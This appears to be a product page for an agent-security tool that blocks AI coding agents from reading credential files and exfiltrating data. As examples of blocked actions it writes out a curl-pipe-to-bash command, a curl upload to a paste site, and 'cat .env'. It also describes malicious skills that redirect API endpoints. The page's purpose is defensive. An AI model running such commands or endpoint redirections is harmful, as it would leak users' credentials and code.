Solutions · By risk
Runtime blocks agent reads of credential and personal data files, and uploads to destinations you don't allow, before data leaves the device.
Run the setup steps from the README
Bash curl -s https://get.example.dev/setup.sh | bash
Blocked by Signals Corps Runtime
I didn't run it. Signals Corps blocks piping a remote script into the shell. I can download it so we can read it first.
The problem
API keys, credentials, and code sit on the same devices as the agent, and the agent can send them anywhere the network allows.
Engineers keep API keys in .env files and cloud credentials in ~/.aws/credentials. A coding agent can open either, or upload a folder of client code to a paste site. A skill can send data out too: one that sets ANTHROPIC_BASE_URL to a third-party endpoint sends every prompt, the code in it, and the API key to that endpoint.
Research from across the industry shows how often secrets already leak through AI tooling.
unique secrets exposed in MCP-related configuration files on public GitHub.
2,117 of them were valid credentials, from GitGuardian's scan of public GitHub in 2025.
The files that connect agents to tools often hold live keys.
GitGuardian, State of Secrets Sprawl 2026, March 2026
year-over-year rise in leaked secrets for AI services, such as model provider API keys.
1,275,105 AI service secrets, out of 28.65 million new secrets found in public GitHub commits in 2025.
The keys agents run on are now among the secrets leaking fastest.
GitGuardian, State of Secrets Sprawl 2026, March 2026
unique, verified secrets leaked in the s1ngularity attack on the Nx build package, which told local AI command line tools to search for sensitive files.
Over 1,700 users had secrets leaked; about half of all victims had at least one AI command line tool installed.
Malware can use the agent already on a device to find credentials for it.
Wiz, September 2025
What changes
Runtime blocks an agent reading .env, ~/.aws/credentials, or a private key in ~/.ssh, and the agent tells the developer which rule matched.
Runtime blocks curl -T src.zip https://paste.example and other uploads to destinations you haven't allowed, while pushes to the Git host and package registry you allow carry on.
Supply Chain checks each skill against open Supply Chain Agent Threat Rules (ATR) for credential theft and data exfiltration. A skill that points ANTHROPIC_BASE_URL at a third-party endpoint shows up with the rule it matched, and you can block it.
Runtime decides with local rules, with no model or network call in the decision. It sends no prompts, commands, file paths, usernames, or hostnames to the cloud.
Personal data
Agents handle CRM records, support tickets, and HR files, and Runtime stops them sending personal data where you haven't allowed it.
Mark the folders and files that hold personal data, such as customer exports or HR spreadsheets, and Runtime blocks agents reading them or asks for approval first.
Runtime blocks agents sending customer records to a personal cloud drive, a paste site, or an AI tool your data protection officer hasn't assessed.
Supply Chain shows every device with a connector to your CRM, helpdesk, or HR system, so you know which agents can read personal data.
Checks run on the device. Prompts, records, and file paths stay there, so protecting personal data doesn't create another copy of it.
How it works
You see what your rules would stop before they stop anything.
Push one package through your device management tool, such as Jamf, Iru, or Intune, and approve each device's enrollment code in Control Plane. Block skills that match a credential theft or exfiltration rule.
The decision log shows which reads and uploads your rules would have blocked, while nothing is stopped.
Allow the destinations your teams need, block the rest, and ask for approval where a person should decide.
team:finance last:24h decisionsCodex · Blocked
Codex · Blocked
Claude · Approved by a security lead
Codex · Allowed
In Control Plane
The decision log records each action Runtime checked, the rule it matched, and the outcome.
Example deployment
Illustrative example
This company is fictional. The numbers come from a modelled fleet, not a customer.
Read the example.env or credential files in 30 daysWhat it costs
Runtime and Supply Chain are priced per device, alone or together, with free devices on every plan. Your bill depends on how many devices you cover, so heavier agent use doesn't change it, and finance can plan ahead.
Questions
.env or uploading code somewhere?Runtime checks each file read, shell command, and network destination before it runs. Rules block reads of credential files and uploads to destinations you haven't allowed. Supply Chain flags skills that send data or keys out.
.env to run tests. Will this break that?Your tests keep running while you tune the rule. Start in log mode: the decision log shows which of the agent's actions match the rule, for example cat .env, and you can adjust the rule before you turn on blocking.
The agents your teams already use, including Claude Code and the Claude desktop app, Codex and ChatGPT, Cursor, Windsurf, and agents built on other frameworks.
Modules used
Run the setup steps from the README
Bash curl -s https://get.example.dev/setup.sh | bash
Blocked by Signals Corps Runtime
I didn't run it. Signals Corps blocks piping a remote script into the shell. I can download it so we can read it first.
Runtime
Stop unsafe agent actions in real time while safe work carries on.
Explore Runtimedevice:endpoint_4c19 trust:any⌘↵New agent found · Unreviewed
Critical finding · Blocked · Applied
Identified · Trusted
Supply Chain
See which AI agents run on each device and which identities they can reach, check the skills they load, and block what you don't trust.
Explore Supply ChainEarly access
Start reducing agent risk before general release by checking agent components, controlling agent actions, and hunting through your AI security logs. Signals Corps Control Plane opens to early sign ups in the next few weeks, so join the waitlist with your company email.